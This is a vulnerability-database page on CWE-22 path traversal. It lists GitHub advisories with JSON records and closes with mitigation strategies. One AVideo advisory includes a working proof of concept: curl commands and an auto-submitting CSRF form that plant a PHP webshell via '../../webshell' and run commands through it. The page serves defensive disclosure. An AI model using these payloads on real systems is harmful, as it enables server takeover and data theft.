CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13244 vulnerabilities reference this CWE, most recent first.
GHSA-6R6R-4Q6C-C9VG
Vulnerability from github – Published: 2022-05-17 01:41 – Updated: 2022-05-17 01:41Absolute path traversal vulnerability in controlcenter.php in FlatnuX CMS 2011 08.09.2 allows remote administrators to read arbitrary files via a full pathname in the dir parameter in a contents/Files action.
{
"affected": [],
"aliases": [
"CVE-2012-4878"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-09-06T21:55:00Z",
"severity": "MODERATE"
},
"details": "Absolute path traversal vulnerability in controlcenter.php in FlatnuX CMS 2011 08.09.2 allows remote administrators to read arbitrary files via a full pathname in the dir parameter in a contents/Files action.",
"id": "GHSA-6r6r-4q6c-c9vg",
"modified": "2022-05-17T01:41:05Z",
"published": "2022-05-17T01:41:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-4878"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/74568"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.org/files/111473/Flatnux-CMS-2011-08.09.2-CSRF-XSS-Directory-Traversal.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/52846"
},
{
"type": "WEB",
"url": "http://www.vulnerability-lab.com/get_content.php?id=487"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6R8Q-PC85-R7WP
Vulnerability from github – Published: 2022-05-17 02:48 – Updated: 2025-04-20 03:36Directory traversal vulnerability in the charting component in Symantec Messaging Gateway before 10.6.2 allows remote authenticated users to read arbitrary files via a .. (dot dot) in the sn parameter to brightmail/servlet/com.ve.kavachart.servlet.ChartStream.
{
"affected": [],
"aliases": [
"CVE-2016-5312"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-14T18:59:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in the charting component in Symantec Messaging Gateway before 10.6.2 allows remote authenticated users to read arbitrary files via a .. (dot dot) in the sn parameter to brightmail/servlet/com.ve.kavachart.servlet.ChartStream.",
"id": "GHSA-6r8q-pc85-r7wp",
"modified": "2025-04-20T03:36:09Z",
"published": "2022-05-17T02:48:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-5312"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/40437"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/138891/Symantec-Messaging-Gateway-10.6.1-Directory-Traversal.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2016/Sep/71"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/93148"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1036908"
},
{
"type": "WEB",
"url": "http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory\u0026pvid=security_advisory\u0026year=\u0026suid=20160927_00"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6R9C-25Q3-26FC
Vulnerability from github – Published: 2022-05-17 02:44 – Updated: 2025-04-20 03:31Directory traversal vulnerability in ecrire/exec/valider_xml.php in SPIP 3.1.2 and earlier allows remote attackers to enumerate the files on the system via the var_url parameter in a valider_xml action.
{
"affected": [],
"aliases": [
"CVE-2016-7982"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-01-18T17:59:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in ecrire/exec/valider_xml.php in SPIP 3.1.2 and earlier allows remote attackers to enumerate the files on the system via the var_url parameter in a valider_xml action.",
"id": "GHSA-6r9c-25q3-26fc",
"modified": "2025-04-20T03:31:15Z",
"published": "2022-05-17T02:44:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-7982"
},
{
"type": "WEB",
"url": "https://core.spip.net/projects/spip/repository/revisions/23200"
},
{
"type": "WEB",
"url": "https://sysdream.com/news/lab/2016-10-19-spip-3-1-1-3-1-2-file-enumeration-path-traversal-cve-2016-7982"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/10/05/17"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/10/06/6"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/10/12/8"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/93451"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6R9H-4H75-7Q4X
Vulnerability from github – Published: 2026-07-02 19:48 – Updated: 2026-07-02 19:48Summary
A path traversal vulnerability exists in the campaign import feature of Mautic 7. When extracting uploaded ZIP files during campaign imports, a flaw in the validation logic allows file paths to escape the intended temporary directories.
Impact
An authenticated user with campaign import privileges (campaign:imports:create) can write arbitrary PHP files to sensitive system directories. An attacker can exploit this to overwrite critical internal configuration or cache components, resulting in Remote Code Execution (RCE) under the context of the web server user.
Patched Versions
This security issue has been addressed in the following release: * 7.1.2
Note: Mautic 6.x, 5.x, and 4.x branches are not affected by this vulnerability. For general security support regarding legacy Mautic 4 releases, please refer to the ELTS page.
Workarounds
There are no official workarounds. To mitigate this risk without upgrading, revoke campaign import permissions (campaign:imports:create) from non-administrative users.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "mautic/core"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-9559"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73",
"CWE-98"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T19:48:50Z",
"nvd_published_at": "2026-05-29T12:16:26Z",
"severity": "CRITICAL"
},
"details": "### Summary\nA path traversal vulnerability exists in the campaign import feature of Mautic 7. When extracting uploaded ZIP files during campaign imports, a flaw in the validation logic allows file paths to escape the intended temporary directories. \n\n### Impact\nAn authenticated user with campaign import privileges (`campaign:imports:create`) can write arbitrary PHP files to sensitive system directories. An attacker can exploit this to overwrite critical internal configuration or cache components, resulting in Remote Code Execution (RCE) under the context of the web server user.\n\n### Patched Versions\nThis security issue has been addressed in the following release:\n* **7.1.2**\n\n*Note: Mautic 6.x, 5.x, and 4.x branches are not affected by this vulnerability. For general security support regarding legacy Mautic 4 releases, please refer to the [ELTS](https://mautic.org/extended-long-term-support-elts/) page.*\n\n### Workarounds\nThere are no official workarounds. To mitigate this risk without upgrading, revoke campaign import permissions (`campaign:imports:create`) from non-administrative users.",
"id": "GHSA-6r9h-4h75-7q4x",
"modified": "2026-07-02T19:48:50Z",
"published": "2026-07-02T19:48:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mautic/mautic/security/advisories/GHSA-6r9h-4h75-7q4x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9559"
},
{
"type": "PACKAGE",
"url": "https://github.com/mautic/mautic"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Mautic vulnerable to Path Traversal via Campaign Import"
}
GHSA-6R9X-MQF6-JVRP
Vulnerability from github – Published: 2022-05-13 01:25 – Updated: 2022-05-13 01:25rbenv (all current versions) is vulnerable to Directory Traversal in the specification of Ruby version resulting in arbitrary code execution
{
"affected": [],
"aliases": [
"CVE-2017-1000047"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-07-17T13:18:00Z",
"severity": "CRITICAL"
},
"details": "rbenv (all current versions) is vulnerable to Directory Traversal in the specification of Ruby version resulting in arbitrary code execution",
"id": "GHSA-6r9x-mqf6-jvrp",
"modified": "2022-05-13T01:25:28Z",
"published": "2022-05-13T01:25:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1000047"
},
{
"type": "WEB",
"url": "https://github.com/justinsteven/advisories/blob/master/2017_rbenv_ruby_version_directory_traversal.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6RC6-P838-686F
Vulnerability from github – Published: 2026-04-14 22:49 – Updated: 2026-04-24 20:30Summary
The locale save endpoint (locale/save.php) constructs a file path by directly concatenating $_POST['flag'] into the path at line 30 without any sanitization. The $_POST['code'] parameter is then written verbatim to that path via fwrite() at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use SameSite=None) can traverse out of the locale/ directory and write arbitrary .php files to any writable location on the filesystem, achieving Remote Code Execution.
Details
In locale/save.php, the vulnerable code path is:
// locale/save.php:10 — only auth check, no CSRF token
if (!User::isAdmin() || !empty($global['disableAdvancedConfigurations'])) {
// ...
die(json_encode($obj));
}
// locale/save.php:16 — base directory
$dir = "{$global['systemRootPath']}locale/";
// locale/save.php:30 — UNSANITIZED path concatenation
$file = $dir.($_POST['flag']).".php";
$myfile = fopen($file, "w") or die("Unable to open file!");
// locale/save.php:40 — UNSANITIZED content write
fwrite($myfile, $_POST['code']);
Root cause: $_POST['flag'] is concatenated directly into the file path with no call to basename(), realpath(), or any filtering of ../ sequences. A flag value like ../../shell resolves to {systemRootPath}locale/../../shell.php, which escapes the locale directory and writes to {systemRootPath}../shell.php — the web-accessible parent directory.
The file content is constructed as:
<?php
global $t;
{$_POST['code']} // attacker-controlled, written verbatim
An attacker can inject arbitrary PHP after closing the translation context (e.g., $t["x"]=1;?><?php system($_GET["c"]);).
CSRF amplification: The endpoint performs no CSRF token validation. AVideo intentionally sets SameSite=None on session cookies (for cross-origin iframe support), which means cross-site POST requests from an attacker's page will include the admin's session cookie, making CSRF exploitation trivial.
PoC
Direct exploitation (requires admin session):
# Step 1: Write a webshell outside locale/ to the webroot
curl -b 'PHPSESSID=<admin_session>' \
-X POST 'https://target/locale/save.php' \
-d 'flag=../../webshell&code=$t["x"]=1;?><%3fphp+system($_GET["c"]);'
# Step 2: Execute commands via the written webshell
curl 'https://target/webshell.php?c=id'
# Response: uid=33(www-data) gid=33(www-data) ...
CSRF variant (no direct admin access needed):
Host the following HTML on an attacker-controlled site and lure an admin to visit:
<html>
<body>
<form method="POST" action="https://target/locale/save.php">
<input type="hidden" name="flag" value="../../webshell">
<input type="hidden" name="code" value='$t["x"]=1;?><?php system($_GET["c"]);'>
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
After the admin visits the page, the attacker accesses https://target/webshell.php?c=id for RCE.
Impact
- Remote Code Execution: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.
- CSRF to RCE chain: Because no CSRF token is required and
SameSite=Noneis set, any user who can trick an admin into visiting a malicious page achieves unauthenticated RCE. This significantly expands the attack surface beyond admin-only. - Full server compromise: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.
Recommended Fix
Sanitize the flag parameter to prevent path traversal and add CSRF protection:
// locale/save.php — after the admin check at line 14
// Add CSRF token validation
if (empty($_POST['token']) || !User::isValidToken($_POST['token'])) {
$obj->status = 0;
$obj->error = __("Invalid token");
die(json_encode($obj));
}
// Sanitize flag to prevent path traversal
$flag = basename($_POST['flag']); // strip directory components
if (empty($flag) || preg_match('/[^a-zA-Z0-9_\-]/', $flag)) {
$obj->status = 0;
$obj->error = __("Invalid locale flag");
die(json_encode($obj));
}
$file = $dir . $flag . ".php";
// Verify resolved path is within expected directory
$realDir = realpath($dir);
$realFile = realpath(dirname($file)) . '/' . basename($file);
if (strpos($realFile, $realDir) !== 0) {
$obj->status = 0;
$obj->error = __("Invalid file path");
die(json_encode($obj));
}
Additionally, the code parameter should be validated to ensure it only contains translation assignments ($t[...] = ...;) and does not include PHP opening/closing tags or arbitrary code.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40909"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T22:49:48Z",
"nvd_published_at": "2026-04-21T20:17:03Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe locale save endpoint (`locale/save.php`) constructs a file path by directly concatenating `$_POST[\u0027flag\u0027]` into the path at line 30 without any sanitization. The `$_POST[\u0027code\u0027]` parameter is then written verbatim to that path via `fwrite()` at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use `SameSite=None`) can traverse out of the `locale/` directory and write arbitrary `.php` files to any writable location on the filesystem, achieving Remote Code Execution.\n\n## Details\n\nIn `locale/save.php`, the vulnerable code path is:\n\n```php\n// locale/save.php:10 \u2014 only auth check, no CSRF token\nif (!User::isAdmin() || !empty($global[\u0027disableAdvancedConfigurations\u0027])) {\n // ...\n die(json_encode($obj));\n}\n\n// locale/save.php:16 \u2014 base directory\n$dir = \"{$global[\u0027systemRootPath\u0027]}locale/\";\n\n// locale/save.php:30 \u2014 UNSANITIZED path concatenation\n$file = $dir.($_POST[\u0027flag\u0027]).\".php\";\n$myfile = fopen($file, \"w\") or die(\"Unable to open file!\");\n\n// locale/save.php:40 \u2014 UNSANITIZED content write\nfwrite($myfile, $_POST[\u0027code\u0027]);\n```\n\n**Root cause**: `$_POST[\u0027flag\u0027]` is concatenated directly into the file path with no call to `basename()`, `realpath()`, or any filtering of `../` sequences. A `flag` value like `../../shell` resolves to `{systemRootPath}locale/../../shell.php`, which escapes the locale directory and writes to `{systemRootPath}../shell.php` \u2014 the web-accessible parent directory.\n\nThe file content is constructed as:\n```php\n\u003c?php\nglobal $t;\n{$_POST[\u0027code\u0027]} // attacker-controlled, written verbatim\n```\n\nAn attacker can inject arbitrary PHP after closing the translation context (e.g., `$t[\"x\"]=1;?\u003e\u003c?php system($_GET[\"c\"]);`).\n\n**CSRF amplification**: The endpoint performs no CSRF token validation. AVideo intentionally sets `SameSite=None` on session cookies (for cross-origin iframe support), which means cross-site POST requests from an attacker\u0027s page will include the admin\u0027s session cookie, making CSRF exploitation trivial.\n\n## PoC\n\n**Direct exploitation (requires admin session):**\n\n```bash\n# Step 1: Write a webshell outside locale/ to the webroot\ncurl -b \u0027PHPSESSID=\u003cadmin_session\u003e\u0027 \\\n -X POST \u0027https://target/locale/save.php\u0027 \\\n -d \u0027flag=../../webshell\u0026code=$t[\"x\"]=1;?\u003e\u003c%3fphp+system($_GET[\"c\"]);\u0027\n\n# Step 2: Execute commands via the written webshell\ncurl \u0027https://target/webshell.php?c=id\u0027\n# Response: uid=33(www-data) gid=33(www-data) ...\n```\n\n**CSRF variant (no direct admin access needed):**\n\nHost the following HTML on an attacker-controlled site and lure an admin to visit:\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform method=\"POST\" action=\"https://target/locale/save.php\"\u003e\n \u003cinput type=\"hidden\" name=\"flag\" value=\"../../webshell\"\u003e\n \u003cinput type=\"hidden\" name=\"code\" value=\u0027$t[\"x\"]=1;?\u003e\u003c?php system($_GET[\"c\"]);\u0027\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.forms[0].submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nAfter the admin visits the page, the attacker accesses `https://target/webshell.php?c=id` for RCE.\n\n## Impact\n\n- **Remote Code Execution**: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.\n- **CSRF to RCE chain**: Because no CSRF token is required and `SameSite=None` is set, any user who can trick an admin into visiting a malicious page achieves unauthenticated RCE. This significantly expands the attack surface beyond admin-only.\n- **Full server compromise**: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.\n\n## Recommended Fix\n\nSanitize the `flag` parameter to prevent path traversal and add CSRF protection:\n\n```php\n// locale/save.php \u2014 after the admin check at line 14\n\n// Add CSRF token validation\nif (empty($_POST[\u0027token\u0027]) || !User::isValidToken($_POST[\u0027token\u0027])) {\n $obj-\u003estatus = 0;\n $obj-\u003eerror = __(\"Invalid token\");\n die(json_encode($obj));\n}\n\n// Sanitize flag to prevent path traversal\n$flag = basename($_POST[\u0027flag\u0027]); // strip directory components\nif (empty($flag) || preg_match(\u0027/[^a-zA-Z0-9_\\-]/\u0027, $flag)) {\n $obj-\u003estatus = 0;\n $obj-\u003eerror = __(\"Invalid locale flag\");\n die(json_encode($obj));\n}\n\n$file = $dir . $flag . \".php\";\n\n// Verify resolved path is within expected directory\n$realDir = realpath($dir);\n$realFile = realpath(dirname($file)) . \u0027/\u0027 . basename($file);\nif (strpos($realFile, $realDir) !== 0) {\n $obj-\u003estatus = 0;\n $obj-\u003eerror = __(\"Invalid file path\");\n die(json_encode($obj));\n}\n```\n\nAdditionally, the `code` parameter should be validated to ensure it only contains translation assignments (`$t[...] = ...;`) and does not include PHP opening/closing tags or arbitrary code.",
"id": "GHSA-6rc6-p838-686f",
"modified": "2026-04-24T20:30:17Z",
"published": "2026-04-14T22:49:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-6rc6-p838-686f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40909"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/57f89ffbc27d37c9d9dd727212334846e78ac21a"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "WWBN AVideo has a Path Traversal in Locale Save Endpoint Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE)"
}
GHSA-6RFP-CX64-QRWC
Vulnerability from github – Published: 2022-05-13 01:24 – Updated: 2025-04-20 03:42Nitro Pro 11.0.3.173 allows remote attackers to execute arbitrary code via saveAs and launchURL calls with directory traversal sequences.
{
"affected": [],
"aliases": [
"CVE-2017-7442"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-03T08:29:00Z",
"severity": "HIGH"
},
"details": "Nitro Pro 11.0.3.173 allows remote attackers to execute arbitrary code via saveAs and launchURL calls with directory traversal sequences.",
"id": "GHSA-6rfp-cx64-qrwc",
"modified": "2025-04-20T03:42:02Z",
"published": "2022-05-13T01:24:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7442"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/42418"
},
{
"type": "WEB",
"url": "http://srcincite.io/advisories/src-2017-0005"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6RFX-645F-J638
Vulnerability from github – Published: 2022-05-01 18:28 – Updated: 2022-05-01 18:28Multiple directory traversal vulnerabilities in download.php in Chupix CMS 0.2.3 allow remote attackers to read or overwrite arbitrary files via a .. (dot dot) in the (1) fichier or (2) repertoire parameter, or create arbitrary directories via a .. (dot dot) in the (3) repertoire parameter.
{
"affected": [],
"aliases": [
"CVE-2007-4957"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-09-18T20:17:00Z",
"severity": "HIGH"
},
"details": "Multiple directory traversal vulnerabilities in download.php in Chupix CMS 0.2.3 allow remote attackers to read or overwrite arbitrary files via a .. (dot dot) in the (1) fichier or (2) repertoire parameter, or create arbitrary directories via a .. (dot dot) in the (3) repertoire parameter.",
"id": "GHSA-6rfx-645f-j638",
"modified": "2022-05-01T18:28:39Z",
"published": "2022-05-01T18:28:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-4957"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/36641"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4411"
},
{
"type": "WEB",
"url": "http://osvdb.org/38881"
},
{
"type": "WEB",
"url": "http://osvdb.org/38882"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/26851"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/25681"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2007/3180"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6RGH-R6J3-3223
Vulnerability from github – Published: 2024-09-17 15:31 – Updated: 2025-03-19 15:39The czim/file-handling package before 1.5.0 and 2.x before 2.3.0 (used with PHP Composer) does not properly validate URLs within makeFromUrl and makeFromAny, leading to SSRF, and to directory traversal for the reading of local files.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "czim/file-handling"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "czim/file-handling"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-47049"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-17T21:23:56Z",
"nvd_published_at": "2024-09-17T14:15:17Z",
"severity": "MODERATE"
},
"details": "The czim/file-handling package before 1.5.0 and 2.x before 2.3.0 (used with PHP Composer) does not properly validate URLs within makeFromUrl and makeFromAny, leading to SSRF, and to directory traversal for the reading of local files.",
"id": "GHSA-6rgh-r6j3-3223",
"modified": "2025-03-19T15:39:58Z",
"published": "2024-09-17T15:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47049"
},
{
"type": "WEB",
"url": "https://github.com/czim/file-handling/commit/95dfda850536bf35e684619598b9d02f4c97680d"
},
{
"type": "WEB",
"url": "https://github.com/czim/file-handling/commit/dcf879896efe3457f51af9c8eab9f70dfc709a99"
},
{
"type": "PACKAGE",
"url": "https://github.com/czim/file-handling"
},
{
"type": "WEB",
"url": "https://github.com/czim/file-handling/blob/2.3.0/SECURITY.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "czim/file-handling vulnerable to SSRF and directory traversal"
}
GHSA-6RGV-CQ79-7GHH
Vulnerability from github – Published: 2022-05-24 16:47 – Updated: 2023-10-11 15:30A Directory Traversal issue was discovered in SSHServerAPI.dll in Progress ipswitch WS_FTP Server 2018 before 8.6.1. An attacker can supply a string using special patterns via the SCP protocol to disclose WS_FTP usernames as well as filenames.
{
"affected": [],
"aliases": [
"CVE-2019-12143"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-06-11T21:29:00Z",
"severity": "MODERATE"
},
"details": "A Directory Traversal issue was discovered in SSHServerAPI.dll in Progress ipswitch WS_FTP Server 2018 before 8.6.1. An attacker can supply a string using special patterns via the SCP protocol to disclose WS_FTP usernames as well as filenames.",
"id": "GHSA-6rgv-cq79-7ghh",
"modified": "2023-10-11T15:30:31Z",
"published": "2022-05-24T16:47:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12143"
},
{
"type": "WEB",
"url": "https://docs.ipswitch.com/WS_FTP_Server2018/ReleaseNotes/index.htm#49242.htm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
